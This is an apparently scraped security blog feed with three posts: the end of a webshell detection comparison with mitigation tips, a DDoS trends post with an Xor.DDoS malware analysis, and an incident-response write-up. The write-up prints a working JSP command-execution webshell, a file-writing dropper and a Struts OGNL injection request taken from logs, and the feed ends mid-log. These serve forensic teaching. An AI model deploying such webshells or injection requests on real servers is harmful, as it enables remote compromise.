<p>My first scan of a sample set with a default signature database showed moderate detection ratio (5/9). With YARA growing popularity among infosec world, it’s possible to build and maintain a powerful database to hunt malware including webshells and  research new obfuscation techniques and variants observed in the wild. Taking that into account, I decided to improve the results obtained previously. I found <a href="https://github.com/sysforensics/YaraRules/blob/master/web/web_shells.yara">set of rules</a>, that almost perfectly match my expectation. After a quick adjustment, final score was close to ideal - ratio (8/9). It were really a tiny changes, so I’ll shortly describe it:</p>

<ul>
<li>Change <em>$php</em> parameter to <em>“&lt;?”</em> in new rule created based on <em>misc_php_exploits</em></li>
<li>Add <em>“system($_REQUEST”</em> in <em>misc_php_exploits</em> and newly created rule from point above</li>
<li>Remove two strings in rule <em>misc_shells</em> - <em>$s6</em> and <em>$s8</em> (that one was even marked with a comment that it could generate FP, so it was easy ;)</li>
</ul>


<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part3/loki_screen.png"></p>

<p>After all of that, as a result I received the biggest advantage of LOKI - <strong>false positive number was zero!</strong></p>

<p><strong>Pros:</strong></p>

<ul>
<li>detection ratio: 8 out of 9 webshell files</li>
<li>successful detection of clean and obfuscated code of the same webshell.</li>
<li>provided final results in clear log file</li>
<li>zero false positives(but that really depends on Yara rule set you use)</li>
<li>easy to develop signatures based on Yara rule</li>
<li>supports all extensions</li>
</ul>


<p><strong>Cons:</strong></p>

<ul>
<li>only signature based detection for webshells</li>
</ul>


<h3>Summary</h3>

<p>To sum up the results from all the tools, it’s really hard task to develop one tool which will mark with good accuracy webshells as suspicious. It’s because there is a wide range of different functions, methods, encodings which would be use to achieve the same effect. Attackers don’t need to use <em>base64_decode</em> function to decode their base64 code. Instead, they can add their own  proprietary function to do exactly that.  They can use a string lookup array to avoid keyword-based detection or invoke function names by string with <em>str_replace</em> and much more. Imperva did a great research describing various teqchniques <a href="https://www.incapsula.com/blog/backdoor-malware-analysis-obfuscation-techniques.html">in their blog post</a>.</p>

<p>The only webshell not detected by LOKI was <em>unknownPHP.php</em> which obfuscation technique is really advanced - thanks to Darryl from Kahu Security, you can follow the decoding process in a great <a href="http://www.kahusecurity.com/2015/deobfuscating-a-wicked-looking-script/">post</a>. As its not possible to detect it using general signature rules, NeoPI methods (entropy, Index of Coincidence) are an excellent solution for this kind of backdoors. Together with LOKI, it seems to be a powerful weapon to detect webshells.</p>

<h3>Prevention and mitigation</h3>

<p>There are a few things that can be done to protect organizations against  a  server compromises:</p>

<ul>
<li>PATCH! - it sounds silly, because it seems SO obvious but last year showed that even a well-known attack like <a href="http://heartbleed.com/">Heartbleed</a> doesn’t guarantee that administrators do their job.  Two months after the public release, there were still around <a href="http://blog.erratasec.com/2014/06/300k-vulnerable-to-heartbleed-two.html#.VbdfqLf89p4">300k vulnerable servers</a></li>
<li>harden your web server - implement a least-privileges policy on the web server, limit script execution permissions in specific locations etc.</li>
<li>deploy DMZ (demilitarized zone) -  enable logging of allowed and blocked traffic, limit interaction between DMZ and your production environment</li>
<li>deploy reverse proxy with WAF (Web Application Firewall) - restrict accessible URL paths for only legitimate sources using for example free <a href="https://www.modsecurity.org/">Mod-Security</a> or other comercial product, consider <a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-Advanced-Topic-of-the-Week--Detecting-Malware-with-Fuzzy-Hashing/">fuzzy hash matching</a></li>
<li>regular test your environment - conduct virus signature(e.g. use by WAF) checks, application fuzzing, code reviews and server network analysis</li>
<li>regular test system and application - regularly check the application’s security - pentest and vulnerability scans to establish areas of risk</li>
<li>versioning + backup  -  establish offline a “well-known good” backup all critical servers, enable monitoring for changes to have clear history on servers</li>
<li>user validation - employ user input validation to restrict local and remote file inclusion vulnerabilities</li>
<li>scan all incoming files to web server (if you accepting file upload from users) - as it was shown before, the administrator can not trust the extensions of the files, all of this could be just a trick to hide malware</li>
<li>always follow up social media discussion!;)</li>
</ul>


<center><blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">When <a href="https://twitter.com/hashtag/ThreatHunting?src=hash">#ThreatHunting</a> try and define a narrow scope of what you are looking for. I have a thing for webshells lately so&#8230; <a href="https://twitter.com/hashtag/DFIR?src=hash">#DFIR</a> 1/8</p>&mdash; Jack Crook (@jackcr) <a href="https://twitter.com/jackcr/status/729998925499895808">May 10, 2016</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>




<center><blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Look at processes that are spawned by the owner of the webserver process <a href="https://twitter.com/hashtag/DFIR?src=hash">#DFIR</a> 4/8</p>&mdash; Jack Crook (@jackcr) <a href="https://twitter.com/jackcr/status/729999119482269696">May 10, 2016</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>




<center><blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Look at POST requests with no referrer and a 200 response code <a href="https://twitter.com/hashtag/DFIR?src=hash">#DFIR</a> 5/8</p>&mdash; Jack Crook (@jackcr) <a href="https://twitter.com/jackcr/status/729999187874557952">May 10, 2016</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>




<center><blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Look for POST requests to new directory paths and filenames with a 200 response code <a href="https://twitter.com/hashtag/DFIR?src=hash">#DFIR</a> 6/8</p>&mdash; Jack Crook (@jackcr) <a href="https://twitter.com/jackcr/status/729999403210162176">May 10, 2016</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>


<p>Community also has its own ideas:</p>

<center><blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr"><a href="https://twitter.com/jackcr">@jackcr</a> baseline the web server/ app error logs. Focus on exceptions about previously not seen file names e.g -&gt; <a href="https://t.co/gIOFcE6wgI">https://t.co/gIOFcE6wgI</a></p>&mdash; dfir_it (@dfir_it) <a href="https://twitter.com/dfir_it/status/730071187842306048">May 10, 2016</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>




<center><blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr"><a href="https://twitter.com/jackcr">@jackcr</a> File: size, ext, owner, location, content. Request: UA, URI/params, internal 2 internal, interval/duration/size of requests</p>&mdash; Glenn (@hiddenillusion) <a href="https://twitter.com/hiddenillusion/status/730003001675550721">May 10, 2016</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>


<ul>
<li>AV/HIDS scan of the web server&hellip;</li>
</ul>


<p>Let me digress a little about the last recommendation. First of all, as you know, AV is not a <a href="https://en.wikipedia.org/wiki/Fail-safe">fail-safe</a> mechanism, so you cannot trust it fully.  AV products do not protect against all types of attack vectors. It is <a href="http://lqdc.github.io/making-finfisher-undetectable.html">relatively easy</a> to bypass AV. As a result, you can at least block known malicious code (detected by signatures or heuristics) - not ideal but still an advantage.</p>

<p>When you’ve got AV on your web server (or any other machine for that matter) you need to know that there are costs involved:</p>

<ul>
<li>introduce additional risk to your machine by adding code which could be vulnerable to different type of attacks like <a href="http://searchwindowsserver.techtarget.com/definition/remote-code-execution-RCE">RCE</a>, local <a href="https://en.wikipedia.org/wiki/Privilege_escalation">priviliges escalation</a>, sandbox escape, etc. Details can be found on Joxean Koret’s <a href="http://www.slideshare.net/44Con/44con-2014-breaking-av-software">presentation</a> or Google Project Zero posts (<a href="http://googleprojectzero.blogspot.ie/2015/09/kaspersky-mo-unpackers-mo-problems.html">1</a>, <a href="https://googleprojectzero.blogspot.com/2016/06/how-to-compromise-enterprise-endpoint.html">2</a>)</li>
<li>performance - every AV generate some efficiency loss, it is periodically measured and reported by AV-Comparatives organization - lastest can be found <a href="http://www.av-comparatives.org/wp-content/uploads/2015/11/avc_per_201510_en.pdf">here</a></li>
</ul>


<h3>Conclusion</h3>

<p>The whole series was intended to familiarize you with how popular, diverse and at the same time dangerous are attacks leveraging webshells. As the second part of this series showed, crooks aim was targeting specific companies and webshells are only a small part of bigger plan. Variety, diversity and simplicity of webshells causes the defense against them to be a very difficult task. Even if you fill all the recommendations of the section “prevention and mitigation” does not guarantee that your application/environment is 100% safe, but it is important to build security in a comprehensive manner and to leave as little space as possible to beat our &ldquo;entanglements&rdquo; ;) Keep fighting! Keep defending!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[DDoS - Not a Simple Flood Anymore]]></title>
    <link href="http://dfir.it/blog/2016/02/04/ddos-not-a-simple-flood-anymore/"/>
    <updated>2016-02-04T11:39:48+01:00</updated>
    <id>http://dfir.it/blog/2016/02/04/ddos-not-a-simple-flood-anymore</id>
    <content type="html"><![CDATA[<p>Everything changes, that’s obvious. The same rule applies to <em>DDoS</em> (Distributed Denial of Service) attacks. At the beginning, it was a simple flood which main purpose was to overwhelm destination machine’s resources or saturate the capacity of network link. Let me present how situation has changed over several last years.</p>

<!--more-->


<h3>JavaScript DDoS - scary monster from China&hellip;</h3>

<p>At the end of March last year, <a href="https://github.com/blog/1981-large-scale-ddos-attack-on-github-com">news</a> about big DDoS attack against <em>Github</em> hit the media. Many security researchers started analysing, what type of attack generated such amount of traffic directed to <em>github.com</em>. After few days <em>Netresec</em> released a <a href="http://www.netresec.com/?month=2015-03&amp;page=blog&amp;post=china%27s-man-on-the-side-attack-on-github">blog post</a> describing what exactly has happened.</p>

<p>Long story short:</p>

<ul>
<li>An innocent user opens a website that uses <em>Baidu analytics</em>.</li>
<li>After visiting the website, the browser loads/requests <em>Baidu Analytics JavaScript</em> code (which serves similar purpose as <em>Google Analytics</em>).</li>
<li>The web browser&rsquo;s request for the <em>Baidu JavaScript</em> is intercepted by the <a href="https://citizenlab.org/2015/04/chinas-great-cannon/">Great Cannon</a>.</li>
<li>A fake response is injected by <em>Great Cannon</em> (using <a href="http://blog.erratasec.com/2015/04/pin-pointing-chinas-attack-against.html#.VhPAn9aQ0RZ">China Unicom</a> infrastructure confirmed by <a href="https://www.blogger.com/profile/09879238874208877740">Robert Graham</a>) instead of the actual <em>Baidu Analytics</em> script. This fake response is a malicious <em>JavaScript</em> that tells the user&rsquo;s browser to continuously reload two specific pages on <em>GitHub.com</em>.</li>
</ul>


<p>The important thing to note is that not all requests were answered by the <em>Great Cannon</em>. <a href="https://googleonlinesecurity.blogspot.com/2015/04/a-javascript-based-ddos-attack-as-seen.html">As reported by Google</a> number of requests varied between 6% at the beginning of the attack with maximum spikes reaching 17,5% of traffic destined to <em>baidu.com</em>. That was a huge number taking into account how many Asian websites are using <em>Baidu Analytics</em>. The whole campaign was well planned and executed.</p>

<p>Above situation with <em>Great Firewall of China</em> was a good example of <em>JavaScript-based DDoS</em> triggered by man-in-the-middle attack. Take a look at below drawing showing that method.</p>

<p><img class="center" src="http://dfir.it/images/ddos-not-a-simple-flood-anymore/mimt_ddosjava.png" title="MITM JavaScript-based DDoS attack" alt="MITM JavaScript-based DDoS attack"></p>

<p>Volumes of such attacks are related to popularity of the domain. The more requests intercepted the larger DDOS attack would be generated. Another variation might be achieved by injecting malicious <em>JavaScript</em> in HTTP responses intercepted by open proxies.</p>

<h4>Prevention (encryption -> HTTP is over)</h4>

<p>To prevent this kind of injection you can block <em>JavaScript</em> in your web browser using popular add-on <a href="https://noscript.net">NoScript</a>. That’s protection from client point of view, but what administrators could do for their users ? They SHOULD start using SSL ;).</p>

<p>You may remember our rant about <a href="https://dfir.it/blog/2015/05/29/dfir-dot-it-on-tour-confidence-2015-cracow/">Confidence 2015 conference</a> and how we were a little bit disappointed with the talks. Guess what, there was one shining star! It was presentation done by <a href="http://confidence.org.pl/en/agenda/speakers/manico-jim/">Jim Manico</a>. Not exactly a rocket science but I exactly remember his main motto: HTTP is over! Time to switch to HTTPS!</p>

<p>I fully agree with Jim. There is no excuse to serve HTTP content which could be easily intercepted and modified. If you want to be regarded as a trusted and safe partner on the market, you need to launch HTTPS. For many small business new chance is just around the corner  - <a href="https://letsencrypt.org">Let’s Encrypt</a> project is approaching a final phase. It’s a great opportunity to make the Web a safer place. No more excuse regarding performance which is briefly explained <a href="https://istlsfastyet.com">here</a>, dispelling few myths. In short, TLS features plus new version of HTTP standard, <a href="https://http2.github.io/">HTTP/2</a>, should resolve all your concerns in this matter.</p>

<h4>Other types of JavaScript DDoS</h4>

<p>Unfortunately, encrypting traffic will not resolve other types of <em>JavaScript-based DDoS</em> attack. There are two scenarios, I would like to mention here.</p>

<p>First situation is when the user requests a valid <em>JavaScript</em> file, but in response receives malicious <em>JavaScript</em>, which was replaced on the compromised server. It’s a tough case, because from user point of view, he/she cannot expect that valid source will serve malicious content.</p>

<p><img class="center" src="http://dfir.it/images/ddos-not-a-simple-flood-anymore/javaddos1.png" title="JavaScript-based DDoS attack - source infected" alt="JavaScript-based DDoS attack - source infected"></p>

<p>Secondly, nowadays many web developers would like to speed up the development process by using third party libraries instead of writing own code. Of course, this solution has many advantages (i.e. saves time and money), but it also adds additional code that is outside of control.</p>

<p>In September 2014, <em>RiskIQ</em> <a href="https://www.riskiq.com/blog/business/post/jquerycom-malware-attack-puts-privileged-enterprise-it-accounts-at-risk">reported</a> that <em>jQuery.com’s</em> website was compromised. <em>jQuery</em> is one of the most popular <em>JavaScript</em> library (around 30% of all websites using some version of it as of 2014). As a part of this attack it could have easily been replaced with a malicious one and infect millions of webpages using that lib. This kind of attack is no longer theoretical but a real danger.</p>

<p><img class="center" src="http://dfir.it/images/ddos-not-a-simple-flood-anymore/infected_3party_ddosjava.png" title="JavaScript-based DDoS attack - third-party infected" alt="JavaScript-based DDoS attack - third-party infected"></p>

<p>So in both cases described above, simply by navigating to a legitimate web page your computer can become a part of DDoS attack. I recommend blocking <em>JavaScript</em> execution in your web browser by default. It’s better to have full control on what executes on your computer ;)</p>

<p>P.S. It was not a <a href="http://www.theregister.co.uk/2015/01/26/great_firewall_of_china_ddos_bug/">first incident</a> where <em>Great Firewall of China</em> was involved and I’m sure that it was not last.</p>

<h3>XOR DDoS - malware not only knocks out the “window”&hellip;</h3>

<p>Late summer last year, you could read few notes (<a href="https://isc.sans.edu/forums/diary/XOR+DDOS+Mitigation+and+Analysis/19827/">1</a>,<a href="http://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html">2</a>) or <a href="https://blogs.akamai.com/2015/09/xor-ddos-threat-advisory.html">thread advisory</a> regarding Linux trojan named <em>Xor.DDoS</em>, using infected machines in different DDoS campaigns. It was researched by <a href="http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html">MalwareMustDie team</a> two years ago. The name stems from the heavy usage of <em>XOR encryption</em> in both malware and network communication to the C&amp;Cs.</p>

<h4>Infection:</h4>

<p>Attackers use the following vectors to infect machines:</p>

<ul>
<li>one-liner shell script being injected via ssh connection (<em>Shellshock</em> in use)</li>
<li>brute force weak root password</li>
<li>exploit a vulnerable service running on victim machine</li>
</ul>


<h4>Brief analysis:</h4>

<p>Malware copies itself to the following files:</p>

<ul>
<li><code>/boot/&lt;10 random alphanumeric chars&gt;</code></li>
<li><code>/lib/udev</code></li>
</ul>


<p>The malware sets the following permissions on the created files:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>-rwxr-x--- <span class="m">1</span> root root <span class="m">13</span> Nov <span class="m">15</span> 11:46 /etc/init.d/ghfghfgetz
</span><span class='line'>
</span><span class='line'>-r-------- <span class="m">1</span> root root <span class="m">13</span> Nov <span class="m">15</span> 11:56 /lib/udev/udev
</span></code></pre></td></tr></table></div></figure>


<p>To ensure persistence, the malware executes processes to determine if the main process is still running. If not, it creates and executes a new copy in <code>/boot</code>. The process is hidden using common techniques like masking itself using the name of a common Linux tool like <code>top</code> etc.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>root@kali:/boot# ps aux <span class="p">|</span> grep <span class="m">2371</span> <span class="p">|</span> grep -v grep
</span><span class='line'>root <span class="m">2371</span> 0.0 0.0 <span class="m">12312</span> <span class="m">276</span> ? Ssl 11:34 0:02 top
</span></code></pre></td></tr></table></div></figure>


<p>That’s only a small piece of all actions done by this malware - MMD team has a very detailed <a href="http://blog.malwaremustdie.org/2015/06/mmd-0033-2015-linuxxorddos-infection_23.html">analysis</a> on their blog.</p>

<p>Moreover, in the middle of last year the same team discovered that <em>XoR.DDoS</em> used an <a href="http://blog.malwaremustdie.org/2015/06/mmd-0035-2015-iptablex-or-iptables-on.html">iptabLes|x</a> strategy in their infection process - take a look at paragraph <a href="http://blog.malwaremustdie.org/2015/07/mmd-0037-2015-bad-shellshock.html#killfile">&ldquo;Linux/killfile” ELF (downloader, kills processes &amp; runs etc malware)</a>.</p>

<p>For persistence the malware creates an <code>init.d</code> script with random name. Run the following command to check for the presence of the script:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>root@kali:/boot# ls -la /etc/init.d/ <span class="p">|</span> egrep -i “ <span class="o">[</span>a-z<span class="o">]{</span>10<span class="o">}</span><span class="nv">$”</span>
</span><span class='line'>-rwxr-x--- <span class="m">1</span> root root <span class="m">13</span> Nov <span class="m">15</span> 11:46 ghfghfgetz
</span><span class='line'>
</span><span class='line'>root@kali:/boot# cat /etc/init.d/ghfghfgetz
</span><span class='line'><span class="c">#!/bin/sh</span>
</span><span class='line'>/boot/ghfghfgetz
</span></code></pre></td></tr></table></div></figure>


<p>File itself is a non-stripped ELF, written in C language. It is a nice example of well-written executable malware to infect multi-platform Linux environments with multiple persistence mechanisms. It is not as typical DDoS bot written in a high-level scripting language like Perl or PHP with really straightforward operations.</p>

<p>The IP addresses it would communicate with were encoded into binary. When it called into action then affected server start flooding victim IP.</p>

<h4>Attack scenarios</h4>

<p>One of them (using brute force campaign as an initial step) was described by <em>FireEye</em> in <a href="https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html">blog post</a> at the beginning of last year.</p>

<p>In short, whole campaign was focused on gaining access to servers around the world. Part of the attack was targeted at <em>FireEye’s</em> global threat research network (honeynet). It’s worth to mention that it was really extensive campaign - in three months each server (from <em>FireEye</em> network) logged nearly ONE million login attempts!</p>

<p>If root access was obtained then attackers IPs (103.41.124.0/24) would log out and stop any further activity. In the next 24 hours another IP accessed the server and would run a SSH remote command (<em>openSSH</em> feature - multiple shell commands, separated by semi-colons). The malware extracted kernel headers and version strings from victim server and prepared customized malware on a separate build server. Whole process worked against hash signature-based mechanism. If there was a problem with building proper version then it used pre-build solution.</p>

<p>Main purpose of this campaign was to infect as much servers as possible with the <em>XoR.DDoS</em> malware and use it in DDoS attacks. Few of them were observed by <em>Akamai SIRT</em> and presented in their <a href="https://www.stateoftheinternet.com/downloads/pdfs/2015-threat-advisory-xor-ddos-attacks-linux-botnet-malware-removal-ddos-mitigation-yara-snort.pdf">threat advisory</a>. Attack generated by <em>XoR.DDoS</em> botnet ranged from a few Gbps to 150+ Gbps mostly in gaming business. To imagine how huge volume was generated compare it to North Korea&rsquo;s total bandwidth.
<em>Incapsula&rsquo;s</em> security researcher, <a href="https://www.incapsula.com/blog/author/ofer">Ofer Gayer</a>, estimated at the end of 2014 that at around 2.5 Gbps, so the attack generated by <em>XoR.DDoS</em> was 60 times or more bigger than total country traffic!</p>

<h4>Conclusion</h4>

<p>The material presented above, shows how much DDoS business has changed. Attackers are looking for new different methods to generate high volume distributed attacks like:</p>

<ul>
<li>sophisticated malware</li>
<li>trusted infrastructure as a carrier of command for innocent users</li>
<li><a href="https://www.akamai.com/us/en/about/news/press/2015-press/akamai-warns-of-3-new-reflection-ddos-attack-vectors.jsp">new protocol where reflection attack</a> is possible.</li>
</ul>


<p>You could say that developing itself is nothing new and that’s true, but the scale of this phenomenon is much greater and people who work on it are much more advanced and well prepared (at various levels - skills, organization, marketing). It gives the conviction that a group of people responsible for DDOS attacks and their capability grows rapidly.</p>

<p>The above thesis is confirmed by reports of two leading companies dealing with mitigation of DDoS attacks. <a href="https://www.stateoftheinternet.com/downloads/pdfs/2015-cloud-security-report-q3.pdf">Akamai Technologies report</a> outlines following characteristics:</p>

<ul>
<li>DDoS lower bandwidth raising - 25% attack more than 425Mbps, 125Mbps more than Q3 2014</li>
<li>Number of DDoS attacks growing rapidly - figure 2.11</li>
<li>Reflection attack coming very popular attack method which is presented on figure 2.13</li>
</ul>


<p>Similar trends are described in <a href="https://www.incapsula.com/ddos-report/ddos-report-q3-2015.html">Imperva report</a>.</p>

<ul>
<li>100+ Gbps attacks became more commonplace (1 per 48h)</li>
<li>average 129 DDoS attacks every day</li>
</ul>


<p>At the end of the day what haven&rsquo;t change about DDOS attacks is the purpose that remains the same. Politics and money. <a href="https://protonmaildotcom.wordpress.com/2015/11/05/protonmail-statement-about-the-ddos-attack/">Example of ProtonMail</a> shows that even if you pay to criminals, it doesn’t guarantee that attack will not take place. In some cases, it actually gives you the opposite effect, because attackers knows that the one who will pay once will probably pay next time. Which is sad&hellip; if you don’t pay they will <a href="https://blog.fastmail.com/2015/11/11/ddos-attack-may-lead-to-potential-service-disruption-this-week/">perform DDoS attack for sure &hellip;</a>, so be prepared and invest in proactive measures to protect your infrastructure against DDoS attacks!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Webshells - Every Time the Same Story...(Part 2)]]></title>
    <link href="http://dfir.it/blog/2016/01/18/webshells-every-time-the-same-story-dot-dot-dot-part2/"/>
    <updated>2016-01-18T20:20:36+01:00</updated>
    <id>http://dfir.it/blog/2016/01/18/webshells-every-time-the-same-story-dot-dot-dot-part2</id>
    <content type="html"><![CDATA[<p>Hopefully the previous <a href="http://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/">blog post</a> already highlighted that at any given moment in time machines around the world try to exploit numerous vulnerabilities. Different obfuscation tricks or stealth techniques are used to delivered payloads and provide crooks with initial foothold by installing webshells. Unfortunately, what makes life of defenders more difficult is that the same principle mentioned in previous post might be used in a subtler and targeted way by motivated attackers aiming to perform cyberespionage.</p>

<!--more-->


<p></p>

<h3>Second act - you’re a really lucky man!</h3>

<p>Analysis of the following case could quite easily lead to various discussions about basic security controls, risks or responsibilities of involved parties. Most of you probably have experienced different recipes for disaster made of more or less obvious vulnerabilities, system misconfiguration and problems existing between keyboards and chairs. Let’s put this discussion aside and focus on the facts and the main topic of the day - webshells used during targeted attack!</p>

<p><strong>During most of the engagements one of the most crucial part of the investigation is to find an entry point of potential intruders</strong>. That was exactly the case when alerted by the OPS team recovering from a massive incident that affected a farm of web servers I realized that the whole farm was infected with a combination of custom made backdoors, rootkits and password dumping tools (<strong>NOTE:</strong> not discussed in this post!).</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part2/third.png" title="schema" alt="schema"></p>

<p>Timeline analysis of artifacts left by malware and lateral movement activity from multiple machines identified the suspected server where the first malware sample was installed. The only question was how the hell someone planted malicious files on an internal web server farm in the first place? A good place to start was the fact that malware was executed under the context of application server service account. Bad news was it had <strong>administrative privileges</strong>.</p>

<h3>Where do we start?</h3>

<p>I never worked for any law enforcement agency nor I knew someone at that time who could shed some light on best tips how to ask question to collect all the necessary information. Maybe a proper course of interrogation techniques would do the trick. Nevertheless, to perform successful investigation you need to get a lot of information (context) from different entities to build a bigger picture and better understanding of the systems, infrastructure, business processes etc. Analysis of the available data should confirm most of the information provided. But where do you start when you know that a server contains a dozen or more business applications with thousands lines of code accessible by internal users and there is no obvious starting point? You prioritize the application based on the functionality, availability and the exposure.</p>

<p>During the discussions about application functionality one of the OPS guys used the magic words that instantly set the alarms off:</p>

<ul>
<li>‘The applications on this server support intranet users and are available only from internal network.’</li>
<li><em>‘There is no way of accessing those applications from anywhere else than internal network?’</em></li>
<li>‘Not on this server.’</li>
<li><em>‘This server? What about others?’</em></li>
<li>‘Some applications are mounted from central internal storage by both internal and DMZ servers available from the internet’</li>
</ul>


<p>The moment when spider sense started tingling. Shall we analyze some application logs?</p>

<p><strong>Tomcat</strong> application servers when installed as a windows service will log messages from the web applications to <code>stdout.log</code>. As with most of the standard output logs you’ll see a huge stack traces of activity dumped by the application especially a busy production one. However after reviewing endless lines of Java messages this particular one caught my attention:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>org.apache.jasper.JasperException: An exception occurred processing JSP page /images/abc.jsp at line 5
</span><span class='line'>
</span><span class='line'>2: &lt;%
</span><span class='line'>3: try <span class="o">{</span>
</span><span class='line'>4: String <span class="nv">cmd</span> <span class="o">=</span> request.getParameter<span class="o">(</span><span class="s2">&quot;cmd&quot;</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'>5: Process <span class="nv">child</span> <span class="o">=</span> Runtime.getRuntime<span class="o">()</span>.exec<span class="o">(</span>cmd<span class="o">)</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Quickly reviewing errors in close proximity allows to identify other interesting files:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>org.apache.jasper.JasperException: Unable to compile class <span class="k">for</span> JSP:
</span><span class='line'>An error occurred at line: <span class="m">1</span> in the jsp file: /images/test/bb.jsp
</span><span class='line'>The left-hand side of an assignment must be a variable
</span><span class='line'>&lt;%if<span class="o">(</span>request.getParameter<span class="o">(</span><span class="s2">&quot;f&quot;</span><span class="o">)</span>!<span class="o">=</span>null<span class="o">)(</span>new java.io.FileOutputStream<span class="o">(</span>application.getRealPath<span class="o">(</span><span class="s2">&quot;\\&quot;</span><span class="o">)</span>+<span class="s2">&quot;\\images\\test\\&quot;</span>.write<span class="o">(</span>request.getParameter<span class="o">(</span><span class="s2">&quot;t&quot;</span><span class="o">)</span>.getBytes<span class="o">())</span><span class="p">;</span>%&gt;
</span></code></pre></td></tr></table></div></figure>


<p>If the first error message was not convincing enough the latter shows someone trying to write to a file what looks to be a very tiny yet powerful webshell. It’s time to pull the files to see exactly what are we dealing with:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>try <span class="o">{</span>
</span><span class='line'>String <span class="nv">cmd</span> <span class="o">=</span> request.getParameter<span class="o">(</span><span class="s2">&quot;cmd&quot;</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'>Process <span class="nv">child</span> <span class="o">=</span> Runtime.getRuntime<span class="o">()</span>.exec<span class="o">(</span>cmd<span class="o">)</span><span class="p">;</span>
</span><span class='line'>InputStream <span class="nv">in</span> <span class="o">=</span> child.getInputStream<span class="o">()</span><span class="p">;</span>
</span><span class='line'>int c<span class="p">;</span>
</span><span class='line'><span class="k">while</span> <span class="o">((</span><span class="nv">c</span> <span class="o">=</span> in.read<span class="o">())</span> !<span class="o">=</span> -1<span class="o">)</span> <span class="o">{</span>
</span><span class='line'>out.print<span class="o">((</span>char<span class="o">)</span>c<span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'>in.close<span class="o">()</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure>


<p>This simplistic servlet receives a command via <code>cmd</code> parameter, tries to execute it on the system and returns the command output. Making it exactly what you need to maintain control.</p>

<p><strong>‘Riddle me this’</strong> says a good friend of mine every time he’s puzzled with the data and faces problems during the investigation. It was also something I was constantly asking myself but no one at the time was there to answer it. Application logs suggested that someone dropped webshells to the central storage location however it was still not clear how this was achieved. Unfortunately, the retention of the logs did not cover the full timeline of the incident so some of the logs were missing. Fortunately, I knew the name of the application that saved webshells in its directories, which allowed me to focus my attention on specific web application traffic. Shall we analyze some web server logs?</p>

<p>Scrolling through log entries the following entry caught my attention. It looks that application is being forced to execute the system command to view network configuration:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>GET &lt;AppURL&gt;redirectAction:%25<span class="o">{</span>
</span><span class='line'>  <span class="o">(</span>new+java.io.BufferReader<span class="o">(</span>new+java.io.InputStreamReader<span class="o">((</span>new+java.lang.ProcessBuilder<span class="o">(</span>new+java.lang.String<span class="o">[]{</span>‘ipconfig’<span class="o">}</span>.start<span class="o">())</span>.getInputStream<span class="o">()))))</span>.readline<span class="o">()}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Searching logs for all instances of <code>redirectAction:</code> reveals additional data e.g.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>ET &lt;AppURL&gt;redirectAction:%25
